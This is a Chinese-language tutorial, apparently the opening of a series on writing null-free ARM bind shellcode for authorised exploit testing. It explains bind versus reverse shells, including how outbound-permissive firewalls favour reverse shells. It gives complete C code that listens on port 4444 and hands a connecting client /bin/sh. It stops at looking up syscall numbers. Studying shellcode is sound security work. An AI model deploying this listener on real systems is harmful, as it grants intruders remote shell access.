一、前言 在本教程中,我会向大家介绍如何编写不包含null字节、可以用于实际漏洞利用场景的TCP bind shellcode。我所提到的漏洞利用过程,指的是经过许可、合法的漏洞研究过程。如果大家对软件漏洞利用技术不是特别熟练,希望我能够引导大家将这种技术用在正当场合中。如果我们找到了某个软件漏洞(比如栈溢出漏洞),希望能够测试漏洞的可利用性,此时我们就需要切实可用的shellcode。不仅如此,我们还需要通过恰当的技术来使用shellcode,使其能够在部署了安全机制的环境中正常执行。只有这样,我们才能够演示漏洞的可利用性,也能演示恶意攻击者利用这种安全缺陷的具体方法。 读完本教程后,你可以了解如何编写将shell绑定(bind)到本地端口的shellcode,也可以了解编写此类shellcode的常用手法。bind型shellcode与反弹型(reverse)shellcode差别不大,只有1~2个函数或者某些参数有所差异,其余大部分代码基本相同。编写bind或reverse shell远比创建简单的execve() shell复杂得多。如果你想从简单的开始学起,你可以先学一下如何使用汇编语言编写简单的execve() shell,然后再深入阅读本篇教程。如果你需要重温Arm汇编知识,你可以参考我之前写的ARM汇编基础系列教程,或者参考如下这张图: 在正式开始前,我想提醒大家,我们正在编写ARM平台的shellcode,因此如果手头没有ARM环境,我们首先需要搭建相应的实验环境。你可以自己搭建一个(使用QEMU模拟Raspberry Pi),也可以直接下载我搭建的现成虚拟机(ARM LAB VM),一切准备就绪,可以开始工作了。 二、背景知识首先介绍下什么是bind shell及其工作原理。使用bind shell时,我们可以在目标主机上打开某个通信端口,或者创建某个监听端(listener)。监听端接受我们发起的连接,返回能够访问目标系统的shell。 使用reverse shell时,目标主机会反连至我们的主机。这种情况下,我们的主机上需要运行一个监听端,接受目标系统的反向连接。 这两种shell各有其优点及缺点,需要根据目标环境来权衡使用。比如,通常情况下目标防火墙会阻拦入站连接,放行出站连接,此时如果你使用的是bind shell,虽然可以bind目标系统的某个端口,但由于防火墙阻拦了入站连接,结果就是你无法成功与之建连。因此,在某些场景中,我们可以优先选择使用reverse shell,如果防火墙配置不当,允许出站连接,那么我们的shell就能正常工作。如果你知道如何编写bind shell,你应该也知道如何编写reverse shell。一旦我们理解具体工作原理,只需要做几处改动,我们就可以将已有的汇编代码改成reverse shell代码。 为了将bind shell改写成汇编语言,我们首先需要熟悉bind shell的工作流程: 1、创建新的TCP socket。 2、将该socket绑定到某个本地端口上。 3、监听连接。 4、接受连接。 5、将STDIN、STDOUT以及STDERR重定向至新创建的客户端socket。 6、启动shell。 这个过程对应的C代码如下所示,后面我们会将该代码转化为相应的汇编代码: #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> int host_sockid; // socket file descriptor int client_sockid; // client file descriptor struct sockaddr_in hostaddr; // server aka listen addressint main() { // Create new TCP socket host_sockid = socket(PF_INET, SOCK_STREAM, 0); // Initialize sockaddr struct to bind socket using it hostaddr.sin_family = AF_INET; // server socket type address family = internet protocol address hostaddr.sin_port = htons(4444); // server port, converted to network byte order hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, converted to network byte order // Bind socket to IP/Port in sockaddr struct bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr)); // Listen for incoming connections listen(host_sockid, 2); // Accept incoming connection client_sockid = accept(host_sockid, NULL, NULL); // Duplicate file descriptors for STDIN, STDOUT and STDERR dup2(client_sockid, 0); dup2(client_sockid, 1); dup2(client_sockid, 2); // Execute /bin/sh execve("/bin/sh", NULL, NULL); close(host_sockid); return 0; }三、系统函数及其参数第一步是确定所需的系统函数、函数参数以及相应的系统调用号(system call number)。观察上述C代码,我们可知需要使用这几个函数:socket、bind、listen、accept、dup2以及execve。我们可以使用如下命令找到这些函数的系统调用号: pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket#define __NR_socketcall (__NR_SYSCALL_BASE+102)#define __NR_socket (__NR_SYSCALL_BASE+281)#define __NR_socketpair (__NR_SYSCALL_BASE+288)#undef __NR_socketcall
|